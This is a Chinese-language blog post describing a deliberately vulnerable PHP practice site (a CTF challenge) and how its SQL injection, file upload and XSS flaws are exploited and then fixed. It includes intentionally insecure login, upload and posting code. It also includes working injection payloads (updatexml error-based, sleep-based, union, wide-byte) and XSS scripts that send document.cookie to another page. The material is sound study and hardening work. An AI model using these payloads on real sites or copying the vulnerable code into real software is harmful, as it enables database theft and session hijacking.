本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

目录

注册登录模块

源码

测试

源码加固

文件上传模块

源码

测试

源码加固

发布动态模块

源码

测试

源码加固


本地搭建靶站进行测试,旨在提高自己的开发能力以及对漏洞的理解。

源码:利用PHP开发具有注册、登陆、文件上传、发布动态功能的网站_MUNG东隅的博客-CSDN博客

这个靶站其实可以说是我出的第一道web题吧,里面藏了三个flag,拼接为一个完整的flag

三个flag的位置分别在:数据库中、admin用户的cookie中、网站源码文件flag.php中,分别对应sql注入漏洞、xss漏洞、文件上传漏洞,我想出第四个flag部分,对应csrf漏洞。

注册登录模块

源码

login.php
<?PHP
error_reporting(0);
session_start();
if((isset($_COOKIE['isLogin']) && $_COOKIE['isLogin'] == 1)){
   session_start(); //创建session
   header("refresh:0;url=./welcome.php");//如果成功跳转至welcome.html页面
   exit;
}        
​
header("Content-type:text/html;charset=utf-8");
    include('./conn.php');//链接数据库
    $username = $_POST['username'];//post获得用户名表单值   #addslashes()函数
    $passowrd = $_POST['password'];//post获得用户密码单值
    $_SESSION['user'] = $_POST['username'];
​
    if ($username && $passowrd){//如果用户名和密码都不为空
             $sql = "select * from flag where username = ('$username') and password='$passowrd'";//检测数据库是否有对应的username和password的sql
             $result = mysqli_query($conn,$sql);//执行sql
             $rows=mysqli_num_rows($result);//返回一个数值
             if($rows){//0 false 1 true
                session_start(); //创建session
                if(!isset($_COOKIE["username"])){
                  if($username=='admin'){
                      setCookie("username",$username,time()+3600);//..设置一个用户名COOKIE
                      setCookie("isLogin",1,time()+3600);//..设置一个登录判断的标记isLogin
                      setCookie("flag3",'s_y0uR_F14g}',time()+3600);
                  }else{
                  setCookie("username",$username,time()+3600);//..设置一个用户名COOKIE
                  setCookie("isLogin",1,time()+3600);//..设置一个登录判断的标记isLogin
               }
                }
                   header("refresh:0;url=./welcome.php");//如果成功跳转至welcome.html页面
                   exit;
             }else{
               echo mysqli_error($conn);
                //echo "<script type='text/javascript'>alert('忘记密码的话去问问神奇海螺哦! =͟͟͞͞(꒪⌓꒪*)');location='index.html';</script>";
                
             }
    }
    
​
    mysqli_close($conn);//关闭数据库
?>
register.php
<?php
session_start();
header("Content-type:text/html;charset=utf-8");
include('./conn.php');//链接数据库
​
$username = addslashes($_POST['username']);
$password = $_POST['password'];
​
if($username&&$password)
{
    mysqli_query($conn,"insert into flag(id,username,password,pic) values(null,('$username'),'$password','./headpic/headpic.png');");
    echo "注册成功,即将跳转至登录页面";
    header("refresh:1.5;url=./index.html");
    exit;
}
​
mysqli_close($conn);
?>

测试

先进行正常的注册操作

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

登录,观察

登录进去以后显示用户名,存在默认头像,具有5个功能模块,存在cookie

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

首先我们看到登录页面

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

尝试万能密码登录,登陆成功

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)
 

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

这个登录过程是没有回显的,我们来看其他的注入方式

报错注入:

是可行的

-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

-1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)-- -

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

解决方式:

  • 限制username长度

  • 关闭报错回显

    有回显的原因就是这句话:

    echo mysqli_error($conn);

    当在数据库中查不到相应的用户名密码的时候,会返回mysql的错误,返回这类错误在开发的时候或许是方便我们进行测试的,但是项目上线以后要尽量在这种模块不进行回显

    更改:

    直接返回错误信息,并进行跳转

    echo "<script type='text/javascript'>alert('忘记密码的话去问问神奇海螺哦! =͟͟͞͞(꒪⌓꒪*)');location='index.html';</script>";
  • 特殊符号转义

时间注入:

这个测试了很久都没发现时间注入,百思不得其解,最后把sql语句里面的username改成id,发现可行了

测试语句:

1') and if(1=2,1,sleep(5))-- -

后面发现username的话前面的1应该变成字符串

admin')and If(ascii(substr(database(),0,1))='s',sleep(5),1)-- -

解决方式:

  • ban掉sleep(),benchmark()等

堆叠注入:

这玩意只有在PDO预编译中才能出现,使用PDO执行SQL语句可以执行多条,但是如果使用不当就会让堆叠注入成为可能,比如仍然将参数拼接到查询语句

宽字节注入:

$conn->query('set names gbk');
1%df' or 1=1%23
1%df' or 1=2%23

如果参数使用addslashes()进行转义,并且编码为GBK就会出现,测试了非常非常久,一直复现不出这个漏洞,不搞了,也就那么回事

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

另外记录一种登陆方式:

payload:

1' union select 1,2,3,4-- -
3

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

源码加固

  • PDO预编译

    由于SQL注入是因为参数改变了SQL语句的原有结构导致的,因此通过绑定参数可以达到参数是参数,结构是结构,从而避免结构被改变的情况。

    当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会

    需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。

    本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

pdo连接数据库

<?php
    header("Content-Type:text/html;charset=utf-8"); //设置页面编码格式
    $dbms='mysql';                                  //数据库类型
    $dbName='sqlinject';                           //数据库名称
    $user='root';                                   //数据库用户名
    $pwd='';                                        //数据库密码
    $host='localhost';                              //主机名称
    $dsn="$dbms:host=$host;dbname=$dbName";        //数据源名称
    try{                                             //捕获异常
        $pdo=new PDO($dsn,$user,$pwd);             //实例化对象
        echo "PDO连接MySQL成功";
    }catch(Exception $e){
        echo $e->getMessage()."<br>";
    }
?>
  • 编码不要设置为gbk

  • ban掉一些关键字

  • 不允许空格

  • addslashes()函数进行转义

  • md5()加密存储

if(strlen($username)>6){
    die();
}

文件上传模块

源码

upload.php

<?php
    session_start();
    header("Content-Type:text/html;charset=utf-8");
    include('./conn.php');
// 附件的存储位置、附件的名字
​
$path='./headpic/'.$_FILES['file']['name'];
echo '文件路径'.$path."<br>";
$username = $_SESSION['user'];
// 拼接成该文件在服务器上的名称
​
if($_FILES['file']['error']>0) {
    die("出错了!".$_FILES['file']['error']); 
}
if(move_uploaded_file($_FILES['file']['tmp_name'],$path)){
    //echo "<BR>"."Upload Success!";
    
    mysqli_query($conn,"update flag set pic='$path' where username='$username';");
    echo "恭喜您,上传成功!"."<br />3秒后将自动跳转到主页!";    
    header("refresh:3;url=./welcome.php");
}else{
    //echo "<BR>"."Upload Failed!".$_FILES['photo']['error'];  
    echo "对不起,上传头像失败了!";
    header("refresh:2;url=./welcome.php");
}
?>

测试

直接上传脚本文件,发现存在前端验证,这是很好绕过的,抓包改包就好了

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

返回了上传文件的路径

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

图片马?

00截断?

upload-labs pass12

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

源码加固

  • 设置上传文件目录权限不能给执行权限

    本地搭建靶站进行漏洞复现和防御(SQL注入、文件上传、XSS漏洞的多种形式)

  • 前端、后端验证(白名单)

  • 二次渲染

  • 对上传后的文件进行重命名

  • 不要暴露上传文件的位置

  • 禁用上传文件的执行权限

  • 黑白名单

  • 对上传的文件重命名,不易被猜测

  • 对文件内容进行二次渲染

  • 对上传的内容进行读取检查

<?php
    session_start();
    header("Content-Type:text/html;charset=utf-8");
    include('./conn.php');
// 附件的存储位置、附件的名字
​
$path='./headpic/'.$_FILES['file']['name'];
​
// $ext=explode('.',$_FILES['file']['name']);  //划分数组
// $ext=end($ext);
// $path='./headpic/'.time().'.'.$ext;
​
​
$username = $_SESSION['user'];
// 拼接成该文件在服务器上的名称
​
//deldot()函数
// function deldot($s){
//  for($i = strlen($s)-1;$i>0;$i--){
//      $c = substr($s,$i,1);
//      if($i == strlen($s)-1 and $c != '.'){
//          return $s;
//      }
​
//      if($c != '.'){
//          return substr($s,0,$i+1);
//      }
//  }
// }
​
if($_FILES['file']['error']>0) {
    die("出错了!".$_FILES['file']['error']); 
}
// if (($_FILES['file']['type'] == 'image/jpeg') || ($_FILES['file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
// {
//    $deny_ext = array(".png",".jpg",".gif",".jpeg");  //白名单
//    $file_name = trim($_FILES['file']['name']);       //收尾去空
//    $file_name = deldot($file_name);                  //删除文件名末尾的点
//    $file_ext = strrchr($file_name, '.');              //返回字符串中.后面的部分,也就是后缀名
//    $file_ext = strtolower($file_ext); //转换为小写
//    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
//    $file_ext = trim($file_ext); //收尾去空
​
// $path='./headpic/'.time().$file_ext;
echo '文件路径'.$path."<br>";
 //   if (in_array($file_ext, $deny_ext)) {
        if(move_uploaded_file($_FILES['file']['tmp_name'],$path)){       //上传成功会返回Ture
        //echo "<BR>"."Upload Success!";
    
              mysqli_query($conn,"update flag set pic='$path' where username='$username';");
              echo "恭喜您,上传成功!"."<br />3秒后将自动跳转到主页!";    
              header("refresh:3;url=./welcome.php");
            }else{
               //echo "<BR>"."Upload Failed!".$_FILES['photo']['error'];  
               echo "对不起,上传头像失败了!";
               header("refresh:2;url=./welcome.php");
                 }
  //  }else{
   //     echo "WAF!"."您上传的文件类型为".$file_ext."不允许上传"."<br />";    
     //   header("refresh:3;url=./headpic.html");
   // }
​
// }
?>
​
​

发布动态模块

源码

<?php
session_start();
header("Content-type:text/html;charset=utf-8");
$username=$_SESSION['user'];
$dbtable=substr($username,0,8).'blog';
include('./blogconn.php');//链接数据库
include('./allblogconn.php');//链接数据库
​
$sql22="create table $dbtable(id int auto_increment primary key, blog varchar(300) not null);";
$result=mysqli_query($conn2,$sql22);
$conn2->query($sql22);
​
$blog=$_POST['blog'];
if(isset($blog)){
$blogsql="insert into $dbtable(id,blog) values(null,'$blog');";
​
​
​
                
$result=mysqli_query($conn2,$blogsql);
​
$allblogsql="insert into allblog(id,username,blog) values(null,'$username','$blog');";
$result10=mysqli_query($conn10,$allblogsql);
}
​
​
mysqli_close($conn);//关闭数据库
   ?>
​

测试

</div><script>document.location.href="../xss.php?1="+document.cookie</script>
</div><script type="text/javascript">location="127.0.0.1/xss.php?1="+document.cookie;</script>
</div><script>alert("xss")</script>
http://dongyu29.xyz/xss.html

xss.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
<script type="text/javascript">location="https://www.bilibili.com/"</script>
</body>
</html>

源码加固

  • httponly

  • 对输入数据进行处理

  • 对输出数据进行转义

$blog=htmlspecialchars($blog);  
                       

点击阅读全文

上一篇 2023年 5月 27日 am11:14
下一篇 2023年 5月 27日 am11:15